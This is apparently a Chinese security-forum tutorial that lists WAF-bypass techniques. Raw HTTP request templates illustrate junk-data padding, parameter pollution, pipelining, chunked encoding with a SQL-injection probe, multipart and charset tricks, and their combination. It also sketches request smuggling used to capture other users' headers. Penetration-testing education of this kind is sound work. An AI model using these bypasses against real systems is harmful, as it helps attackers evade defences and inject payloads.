几种常见的协议漏洞--绕Waf
本文作者幽壑,本文属于i春秋原创激励计划,欢迎师傅们标明出处转载,一同交流。
https://bbs.ichunqiu.com/thread-63575-1-1.html
本文参考书籍 --> 奇安信出版的《网络安全攻防技术实践》
WAF bypass
0x01 垃圾数据绕过
假设一个参数,然后填充垃圾数据。猜测可能是WAF防止自身程序对于流量分析时间过长,而导致用户正常的业务无法访问,所以直接超时放行。
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
.................
Content-Length:4
Connection:keep-alive
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&id=1
0x02 HTTP参数污染绕过
在 2009 年的 OWASP 上首次公布
漏洞原理
通常在一个请求中,同样名称的参数只会出现一次,但是在 HTTP 协议中是允许同样名称的参数出现多次的。
GET /search?q=1&q=2 HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*
而不同服务器处理情况不同,有的是获取一次得到的值,有的是第二次参数的赋值会覆盖第一次的值。
例如百度在搜索时,只会获取第一次得到的值。
而bing在搜索时会覆盖第一次的值。
谷歌则进行了参数的拼接。
0x03 pipline绕过
phpline绕过利用了HTTP的管道化技术,HTTP遵循请求模型,发起A请求,回复A请求的响应,WAF也如此,利用这个原理使用管道化连接可以在发起请求的同时发送多个HTTP请求。
这种方法绕过WAF的原因是WAF拦截到数据包检测Content-length,超出长度部分作为没用的数据放行了从而达到绕过。
1、在BP中去掉勾选“ Content-Length更新 ”
2、将数据包中 Connection 从 close 修改为持久连接的状态,即 keep-alive
3、保持Content-Length的值不变,将数据包复制到原数据包内容后面的位置,测试过程只需要带一个cookie。
例如
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Length:4
Connection:keep-alive
id=1POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
.................
Content-Length:4
Connection:keep-alive
id=1
这里值得注意的是,虽然pipline的数据包和http请求走私的数据包很像。
我个人感觉pipline绕过更像是http请求走私的一种利用方式。区别就是pipline绕过是针对防火墙绕过,而http请求走私更多用于绕过前后端分离情况下的前端安全策略,而且http请求走私的危害更大一些,通过配置content-length头,可以通过多次发包来捕获到后来用户的请求头。
例如:前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。
感兴趣的宝贝可以参考这篇文章:https://forum.butian.net/share/1876
0x04 分块传输绕过
分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许数据分为多个部分,仅在HTTP/1.1
中提供。
长度值为十六进制
,也可以通过在长度值后面加上分号
做注释,来提高绕过WAF的概率
条件
需要在请求头添加 “Transfer-Encoding=chunked” 才支持分块传输
数据包的话就长这样
原始 Payload
id=1 and 1=1
分块传输 Payload
3;注释内容
id=
1;注释内容
1
3;注释内容
an
1;xxxx
d
4;xxxx
1=1
0;xxxx
Burp有一个关于分块传输的插件 Chunked coding converte。
github地址:https://github.com/c0ny1/chunked-coding-converter
0x05 协议覆盖绕过
HTTP协议覆盖绕过,也叫边界传输绕过
,是通过一种http传文件的协议,同时也可以传数据。
绕过waf原理是waf没有考虑到这种协议可以传数据直接当做文件放行了
HTTP协议覆盖绕过是通过更换Content-Type
的类型来绕过WAF的检测。
以下是四种常见的Content-Type
text/html
application/json
application/x-www-form-urlencoded
multipart/form-data
WAF对multipart/form-data
协议的检测比较少,或者把他当作文件上传来检查,可利用这个特性对WAF进行绕过。
其中boundary
后面的test
不固定,它的作用代表分隔符,--test
开始,--test--
结束。
正常POST请求方式是“id=123”,但在 "multipart/form-data" 协议内发送id=123,需要 “form-data:name="id”,然后空一行输入123。
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test--
当然,也可以通过加密来进一步增加绕过WAF的概率。
通过在Content-Type类型后面加入 "charset=ibm500","charset=ibm037" 编码
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test--
两个参数可用两次分隔符来传输
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test
Content-Disposition:form-data;name="submit"
提交
--test--
0x06 组合绕过
这些绕过方式也可以进行一系列的组合,来实现更好的绕过。
例如 协议覆盖+分块传输
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89
1;fankfandlnvlanslfnaldnf
-
1;adjanknvkzxnvlur
-
1;hakdnlanslciaosff
t
3;jaddlnlxiocjoana
est